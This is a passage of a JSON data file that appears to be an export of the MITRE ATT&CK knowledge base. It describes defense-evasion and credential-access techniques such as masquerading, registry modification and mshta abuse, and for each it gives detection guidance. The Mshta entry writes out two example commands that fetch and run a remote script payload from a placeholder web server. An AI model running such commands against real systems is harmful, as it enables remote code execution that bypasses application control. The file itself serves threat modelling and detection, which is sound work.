                    "external_id": "CAPEC-177",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/177.html"
                },
                {
                    "source_name": "LOLBAS Main Site",
                    "url": "https://lolbas-project.github.io/",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
                }
            ],
            "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
            "name": "Masquerading",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.4",
            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Nick Carr, FireEye",
                "David Lu, Tripwire",
                "Felipe Esp\u00f3sito, @Pr0teus",
                "Elastic",
                "Bartosz Jerzman"
            ],
            "x_mitre_data_sources": [
                "Image: Image Metadata",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Service: Service Creation",
                "Scheduled Job: Scheduled Job Metadata",
                "Scheduled Job: Scheduled Job Modification",
                "File: File Metadata",
                "Process: Process Metadata",
                "File: File Modification"
            ],
            "x_mitre_defense_bypassed": [
                "Application control by file name or path"
            ],
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers"
            ]
        },
        {
            "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.",
            "name": "Match Legitimate Name or Location",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.005",
                    "url": "https://attack.mitre.org/techniques/T1036/005"
                },
                {
                    "external_id": "CAPEC-177",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/177.html"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Docker Images",
                    "url": "https://docs.docker.com/engine/reference/commandline/images/",
                    "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-20T19:23:37.762Z",
            "created": "2020-02-10T20:43:10.239Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Image: Image Metadata",
                "File: File Metadata",
                "Process: Process Metadata"
            ],
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",
            "x_mitre_defense_bypassed": [
                "Application control by file name or path"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1556",
                    "url": "https://attack.mitre.org/techniques/T1556"
                },
                {
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013"
                },
                {
                    "source_name": "Dell Skeleton",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                    "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
                },
                {
                    "source_name": "Xorrior Authorization Plugins",
                    "url": "https://xorrior.com/persistent-credential-theft/",
                    "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Authentication Process",
            "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
            "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-26T20:08:31.712Z",
            "created": "2020-02-11T19:01:56.887Z",
            "x_mitre_contributors": [
                "Chris Ross @xorrior"
            ],
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: OS API Execution",
                "Process: Process Access",
                "File: File Modification",
                "File: File Creation",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Network"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1578",
                    "url": "https://attack.mitre.org/techniques/T1578"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Cloud Compute Infrastructure",
            "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
            "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-20T14:51:01.759Z",
            "created": "2019-08-30T18:03:05.864Z",
            "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_data_sources": [
                "Instance: Instance Stop",
                "Instance: Instance Start",
                "Instance: Instance Creation",
                "Instance: Instance Modification",
                "Instance: Instance Deletion",
                "Snapshot: Snapshot Creation",
                "Snapshot: Snapshot Modification",
                "Snapshot: Snapshot Deletion",
                "Volume: Volume Creation",
                "Volume: Volume Modification",
                "Volume: Volume Deletion"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1031",
                    "url": "https://attack.mitre.org/techniques/T1031"
                },
                {
                    "external_id": "CAPEC-551",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html"
                },
                {
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "source_name": "Twitter Service Recovery Nov 2017"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)",
                    "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
                    "source_name": "Microsoft Service Recovery Feb 2013"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "name": "Modify Existing Service",
            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-16T16:05:53.825Z",
            "created": "2017-05-31T21:30:34.928Z"
        },
        {
            "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1112",
                    "url": "https://attack.mitre.org/techniques/T1112"
                },
                {
                    "external_id": "CAPEC-203",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/203.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "source_name": "Microsoft Reg"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/reghide",
                    "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
                    "source_name": "Microsoft Reghide NOV 2006"
                },
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/",
                    "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
                    "source_name": "TrendMicro POWELIKS AUG 2014"
                },
                {
                    "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353",
                    "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
                    "source_name": "SpectorOps Hiding Reg Jul 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx",
                    "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
                    "source_name": "Microsoft Remote"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
                    "source_name": "Microsoft 4657 APR 2017"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull",
                    "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
                    "source_name": "Microsoft RegDelNull July 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-08-13T20:02:49.641Z",
            "created": "2017-05-31T21:31:23.587Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Windows Registry: Windows Registry Key Deletion"
            ],
            "x_mitre_contributors": [
                "Bartosz Jerzman",
                "Travis Smith, Tripwire",
                "David Lu, Tripwire"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1601",
                    "url": "https://attack.mitre.org/techniques/T1601"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify System Image",
            "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",
            "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-22T17:50:47.635Z",
            "created": "2020-10-19T19:42:19.740Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.  (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "name": "Mshta",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1170",
                    "url": "https://attack.mitre.org/techniques/T1170"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "source_name": "FireEye Attacks Leveraging HTA"
                },
                {
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "source_name": "Airbus Security Kovter Analysis",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T18:59:59.041Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created": "2020-01-23T19:32:49.557Z",
            "modified": "2020-12-30T14:29:06.462Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.005",
                    "url": "https://attack.mitre.org/techniques/T1218/005"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "source_name": "FireEye Attacks Leveraging HTA"
                },
                {
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "source_name": "Airbus Security Kovter Analysis",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Mshta",
            "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
            "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "Digital Certificate Validation"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Ricardo Dias"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
            "name": "Msiexec",
